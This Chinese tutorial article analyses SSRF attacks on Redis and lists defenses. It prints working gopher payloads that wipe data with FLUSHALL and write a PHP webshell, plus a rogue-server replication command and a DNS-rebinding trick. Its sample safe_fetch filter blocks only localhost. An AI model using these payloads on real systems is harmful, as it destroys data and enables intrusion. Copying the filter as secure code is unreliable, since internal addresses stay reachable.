Redis中服务端请求伪造SSRF的示例分析

发布时间:2022-01-05 18:14:51 作者:小新
来源:亿速云 阅读:157
# Redis中服务端请求伪造(SSRF)的示例分析

## 引言

### SSRF漏洞概述
服务端请求伪造(Server-Side Request Forgery, SSRF)是一种安全漏洞,攻击者能够诱使服务器向非预期的目标发起网络请求。这种漏洞通常发生在应用程序接受用户提供的URL并直接发起请求时,未对目标地址进行充分验证。

### Redis与SSRF的关系
Redis作为内存数据库通常部署在内网环境,但由于其未授权访问特性及特殊协议设计,常成为SSRF攻击的目标。通过SSRF攻击Redis可以实现:
- 内网服务探测
- 敏感数据读取
- 甚至远程代码执行

## 第一部分:Redis协议与SSRF基础

### 1.1 Redis协议解析
Redis使用自定义的RESP(REdis Serialization Protocol)协议,基本结构如下:
```redis
*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$7\r\nmyvalue\r\n

对应命令:

SET mykey myvalue

1.2 SSRF攻击Redis的可行性

当存在SSRF漏洞的服务器能访问Redis时,攻击者可: 1. 通过HTTP协议控制请求体 2. 构造符合RESP协议格式的payload 3. 实现Redis命令注入

1.3 常见触发场景

# 漏洞代码示例(Python Flask)
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    return requests.get(url).content

攻击者可构造url=redis://127.0.0.1:6379发起请求

第二部分:SSRF攻击Redis实战分析

2.1 环境搭建

实验环境配置: - Redis 6.2.6(未授权访问) - 存在SSRF漏洞的Web应用 - 内网环境(172.16.1.0/24)

2.2 基础攻击演示

步骤1:探测Redis服务

GET /fetch?url=http://172.16.1.15:6379 HTTP/1.1
Host: vulnerable.com

通过响应时间差异判断端口开放情况

步骤2:发送Redis命令 使用URL编码的CRLF注入:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A

解码后实际发送:

*1\r\n$8\r\nflushall\r\n

2.3 高级利用技术

2.3.1 写入Webshell

gopher://127.0.0.1:6379/_%2A4%0D%0A%244%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2429%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%0A%0A%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A3%0D%0A%245%0D%0Asave%0D%0A

2.3.2 主从复制攻击

# 在攻击机启动伪Redis服务器
python3 redis-rogue-server.py --lport 6380 --rhost 172.16.1.15 --rport 6379

2.4 绕过防御技巧

2.4.1 协议转换

http://127.0.0.1:6379/?x=*1%0d%0a$8%0d%0aflushall%0d%0aquit

2.4.2 DNS重绑定

  1. 配置DNS记录:A 300 0.0.0.0
  2. 构造请求:
http://evil.com/fetch?url=http://rebind.evil.com:6379/

第三部分:防御方案

3.1 代码层防护

# 安全的URL获取实现
def safe_fetch(url):
    if not url.startswith(('http://', 'https://')):
        raise InvalidURLError
    parsed = urllib.parse.urlparse(url)
    if parsed.hostname in ['localhost', '127.0.0.1']:
        raise SSRFError
    return requests.get(url, timeout=3)

3.2 网络层防护

  1. Redis绑定指定IP
bind 172.16.1.15
  1. 启用防火墙规则
iptables -A INPUT -p tcp --dport 6379 -s 172.16.1.0/24 -j ACCEPT

3.3 Redis配置加固

# 禁用危险命令
rename-command FLUSHALL ""
rename-command CONFIG ""

第四部分:真实案例分析

4.1 某电商平台SSRF到RCE

攻击链:

SSRF → Redis未授权访问 → 写入crontab → 反弹shell

4.2 某云服务内网渗透

利用过程: 1. 通过SSRF发现Redis 2. 利用主从复制加载模块 3. 执行系统命令获取AK/SK

结语

漏洞发展趋势

防护建议

  1. 实施网络隔离
  2. 定期安全审计
  3. 最小权限原则

附录

参考工具

  1. Gopherus:SSRF到RCE工具
  2. SSRFmap:自动化探测框架
  3. Redis-rogue-server:主从复制利用工具

扩展阅读

”`

注:本文为示例性技术文章,实际攻击行为可能违反法律,请仅在授权测试环境中使用相关技术。

推荐阅读:
  1. 简述CSRF请求跨站伪造
  2. CSRF(跨站点请求伪造)

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

ssrf redis

上一篇:如何使用符合LDAP的身份服务配置身份认证

下一篇:dl4j如何使用遗传神经网络完成手写数字识别

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》